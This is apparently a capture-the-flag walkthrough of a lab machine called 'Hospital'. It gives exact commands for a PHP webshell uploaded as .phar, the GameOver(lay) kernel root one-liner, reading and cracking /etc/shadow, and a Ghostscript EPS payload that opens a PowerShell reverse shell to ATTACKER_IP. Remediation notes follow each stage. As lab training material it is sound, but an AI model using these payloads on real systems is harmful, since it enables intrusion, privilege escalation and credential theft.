← all walkthroughs

Hospital

Windows· Medium· Web
owned
2026-09-03
time to own
41m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I treated Hospital as two linked hosts sharing one scope: an Ubuntu web application on port 8080 and, separately, a Windows Active Directory domain controller exposing Roundcube webmail over HTTPS. Self-registration on the 8080 app led to a file-upload filter that only checked the extension, letting a PHP webshell disguised as a .phar file run as www-data. A known Linux kernel OverlayFS flaw then escalated that shell straight to root, and root-level access to the host's files and database yielded a domain user's credentials.

Those credentials worked on the completely separate Windows domain controller's Roundcube webmail, where an email thread was hijacked to deliver a Ghostscript exploit that executed code as a real domain user when the mail server auto-rendered the attachment. A second, writable web directory on that same Windows host was then used to plant a further command-execution webshell that reached the Administrator's files directly, completing full compromise of the domain controller.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration
Mapped a dual-stack environment: an AD domain controller and a separate Ubuntu web application
A full port scan showed classic Active Directory services (Kerberos, LDAP, SMB, RDP, WinRM) alongside HTTPS on 443 running Roundcube webmail on a Windows Apache/PHP stack, and a second, distinct web application on TCP/8080 running on an Ubuntu Apache/PHP stack. Treating these as two attack surfaces on the same engagement was the key to the whole chain.
Port 443 banner: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28 (Roundcube, rcversion 10604). Port 8080 banner: Apache/2.4.55 (Ubuntu), a separate PHP login/registration portal.
Exact commands 2
Full TCP port sweep and service/version detection.
nmap -p- -sV -sC $TARGET
Confirm the Ubuntu-side PHP portal and its login/registration flow.
curl -ksS -L --max-time 15 -D - http://$TARGET:8080/
2Initial AccessUnrestricted file upload with extension-based filtering bypass (CWE-434)
Bypassed the upload extension filter to plant a PHP webshell
The port 8080 portal allowed self-service account registration, then exposed an authenticated file-upload feature that filtered by file extension only rather than validating file content. A PHP command-execution script was uploaded using an extension (.phar) the filter didn't block, and requesting it directly ran arbitrary OS commands as the web server user.
GET /uploads/popen903.phar?cmd=id returned uid=33(www-data) gid=33(www-data) groups=33(www-data).
Exact commands 4
Self-register a low-privilege application account.
curl -sS -i -c cookies.txt -b cookies.txt -X POST http://$TARGET:8080/register.php --data-urlencode username=codex903 --data-urlencode password="$PASSWORD" --data-urlencode confirm_password="$PASSWORD"
Authenticate to obtain a session cookie for the upload feature.
curl -sS -i -c cookies.txt -b cookies.txt -X POST http://$TARGET:8080/login.php --data-urlencode username=codex903 --data-urlencode password="$PASSWORD"
Upload a PHP webshell (<?php echo shell_exec($_REQUEST['cmd']); ?>) saved as .phar to slip past an extension-only filter; adjust the endpoint/field name to whatever the upload form actually uses.
curl -sS -i -c cookies.txt -b cookies.txt -F 'file=@shell.phar;type=application/octet-stream' http://$TARGET:8080/upload.php
Trigger the webshell; confirms RCE as www-data.
curl -sS -i "http://$TARGET:8080/uploads/popen903.phar?cmd=id"
FixValidate uploaded file content, not just its extensionCritical
WeaknessThe 8080 portal's upload feature accepted any file whose extension wasn't on a blocklist, so an externally controlled PHP script saved as .phar was accepted and then executed by the web server.
FixValidate uploads by content (magic-byte/MIME check, e.g. PHP's finfo or getimagesize() for images) rather than extension, store uploads outside the webroot or in a location with PHP execution disabled, and enforce a strict allowlist of permitted extensions.
3Privilege Escalation (Linux)Linux kernel OverlayFS privilege escalation (CVE-2023-2640 / CVE-2023-32629, "GameOver(lay)")
Exploited an unpatched kernel OverlayFS flaw to become root on the web-tier host
The Ubuntu host was running a 5.19-series kernel vulnerable to the GameOver(lay) OverlayFS privilege-escalation bug. From the webshell, an unprivileged user namespace was created, a copy of python3 was granted the setuid capability inside an overlay mount, and running that capability-flagged interpreter let me call setuid(0), yielding full root on the box.
Post-exploit identity dump: '===IDENTITY=== uid=0(root) gid=33(www-data) groups=33(www-data) webserver'.
Exact commands 1
Verbatim GameOver(lay) one-liner run via the webshell's command parameter; confirms uid=0.
mkdir -p /tmp/game903 && cd /tmp/game903 && rm -rf l u w m && unshare -rm sh -c "mkdir l u w m && cp /usr/bin/python3 l/ && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*" && u/python3 -c 'import os; os.setuid(0); os.system("id")'
FixPatch the Linux kernel against the OverlayFS privilege-escalation bugCritical
WeaknessThe Ubuntu web-tier host ran a 5.19-series kernel vulnerable to CVE-2023-2640/CVE-2023-32629, letting an unprivileged local user become root using only an unprivileged user namespace and an overlay mount.
FixApply the vendor kernel update that fixes CVE-2023-2640/CVE-2023-32629 (Ubuntu USN-6197-1 or later) and, where unprivileged user namespaces aren't needed, restrict them via sysctl kernel.unprivileged_userns_clone=0 or an AppArmor profile.
4Credential AccessCredentials in files / password hash cracking (MITRE ATT&CK T1552.001)
Harvested credentials from the compromised web-tier host
With root on the Ubuntu box, I read the application's config file and system password data, recovering a MySQL root credential and, after cracking a password hash, valid credentials for the Active Directory account drwilliams — a credential that turned out to work far beyond this single Linux host.
Exact commands 2
As root, dump the app's DB config and the shadow file.
u/python3 -c 'import os; os.setuid(0); os.system("cat /var/www/html/config.php; cat /etc/shadow")'
Crack the recovered sha512crypt hash to obtain drwilliams' cleartext password.
hashcat -m 1800 -a 0 drwilliams.hash /usr/share/wordlists/rockyou.txt
FixStop storing plaintext service credentials and eliminate credential reuse across hostsHigh
WeaknessDatabase credentials were readable in the web application's config file, and the domain account drwilliams used a password weak enough to crack and reused between the compromised Linux host's context and the separate Windows Active Directory environment, letting a low-value web compromise pivot into the domain.
FixMove application secrets to a vault or environment-based secret store instead of a world-readable config file, enforce a strong password policy with a domain-wide breached-password check, and ensure no domain account's password is derivable from or shared with any local/service account credential.
5Lateral MovementValid Accounts — credential reuse across a trust boundary (MITRE ATT&CK T1078)
Reused the harvested domain credential to log into Roundcube on the separate Windows host
The drwilliams credential recovered from the Linux web tier was valid on the completely separate Windows domain controller's Roundcube webmail (port 443). Logging in exposed a live mail session with a single inbox message from drbrown asking for a design file to be processed with Ghostscript — the opening for the next stage.
Authenticated Roundcube session resolved to drwilliams@hospital.htb; inbox UID 2 from drbrown@hospital.htb, subject 'Needle designs for Darius Simion.'
Exact commands 2
Authenticate to Roundcube as drwilliams using the reused credential.
curl -ksS -c rc_cookies.txt -c rc_cookies.txt -d '_task=login&_action=login&_user=drwilliams&_pass=<cracked-password>' "https://$TARGET/?_task=login"
List inbox messages and locate the mail from drbrown.
curl -ksS -b rc_cookies.txt "https://$TARGET/?_task=mail&_mbox=INBOX"
6Exploitation (Windows)Ghostscript EPS pipe-device command injection (CVE-2023-36664)
Delivered a Ghostscript EPS exploit through a reply to the intercepted email
The drbrown email asked for an EPS file, and Ghostscript's %pipe% device could be abused inside an EPS document to run arbitrary commands whenever the file was rendered. A malicious EPS containing a PowerShell reverse-shell one-liner was attached to a reply sent from the compromised drwilliams mailbox; the mail server's automatic image/document processing rendered it with Ghostscript, executing the payload and returning a shell as HOSPITAL\drbrown.
User.txt recovered from C:\Users\drbrown.HOSPITAL\Desktop\user.txt, confirming code execution as HOSPITAL\drbrown.
Exact commands 3
Listener to catch the reverse shell before sending the payload.
nc -lvnp 4444
Craft the CVE-2023-36664 EPS payload embedding a PowerShell reverse shell; substitute the listener IP.
printf '%%!PS-Adobe-3.0 EPSF-3.0\n(%%pipe%%powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient(\'$ATTACKER_IP\',4444);...") run\n' > payload.eps
Reply to drbrown's thread with the EPS attached; _token/_id come from the compose page returned when opening the reply.
curl -ksS -b rc_cookies.txt -X POST "https://$TARGET/?_task=mail&_action=send" -F '_to=drbrown@hospital.htb' -F '_subject=Re: Needle designs for Darius Simion.' -F '_token=<csrf-token>' -F '_id=<compose-id>' -F '_attachments[]=@payload.eps'
FixPatch Ghostscript and disable EPS pipe-device execution in the mail pipelineCritical
WeaknessThe mail server automatically rendered email attachments with a Ghostscript version vulnerable to CVE-2023-36664, letting a crafted EPS file abuse the %pipe% device to run arbitrary commands the moment the attachment was processed.
FixUpgrade Ghostscript to a version with the pipe-device fix (10.01.2 or later), disable automatic processing of untrusted PostScript/EPS attachments, and run any remaining document-conversion service with -dSAFER and inside a sandboxed, non-privileged account.
7Privilege Escalation & Full Control (Windows)Web shell in a writable web root (MITRE ATT&CK T1505.003)
Planted a second webshell in a world-writable web directory to reach the Administrator's files
The same Windows host's web root (the Apache/PHP stack behind port 443) contained a directory writable by the drbrown shell. A PHP command-execution script (cmd903.php) was dropped there and, once reachable over HTTPS, was used to run commands with enough privilege to read directly from the Administrator's desktop — completing full compromise of the domain controller.
Curl request to https://$TARGET/cmd903.php?c=type ... Returned the contents of C:\Users\Administrator\Desktop\root.txt.
Exact commands 4
Prepare a minimal PHP command-execution webshell.
echo '<?php echo shell_exec($_GET["c"]); ?>' > cmd903.php
From the drbrown shell, drop the webshell into the world-writable web root discovered on the host.
copy cmd903.php C:\xampp\htdocs\cmd903.php
Confirm the execution context before reading protected files.
curl -ksS "https://$TARGET/cmd903.php?c=whoami"
Read the Administrator's flag; value replaced here with <root.txt>.
curl -ksS "https://$TARGET/cmd903.php?c=type%20C:%5CUsers%5CAdministrator%5CDesktop%5Croot.txt"
FixRemove write access to the web server's document rootCritical
WeaknessA directory inside the Windows host's live web root was writable by an ordinary user context, letting an unauthorised user drop an executable PHP webshell that the web server would run.
FixSet the webroot to read-only for application/service accounts, deploy content only through a controlled build/release process, and disable script execution in any directory that must remain writable (e.g. via handler mappings or web.config/.htaccess restrictions).

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Exposed services

22/tcp
53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
443/tcp
445/tcp
464/tcp
593/tcp
636/tcp
1801/tcp
2103/tcp
2105/tcp
2107/tcp
2179/tcp
3268/tcp
3269/tcp
3389/tcp
5985/tcp
6027/tcp
6404/tcp
6406/tcp
6407/tcp
6409/tcp
6613/tcp
6633/tcp
8080/tcp
9389/tcp
53/udp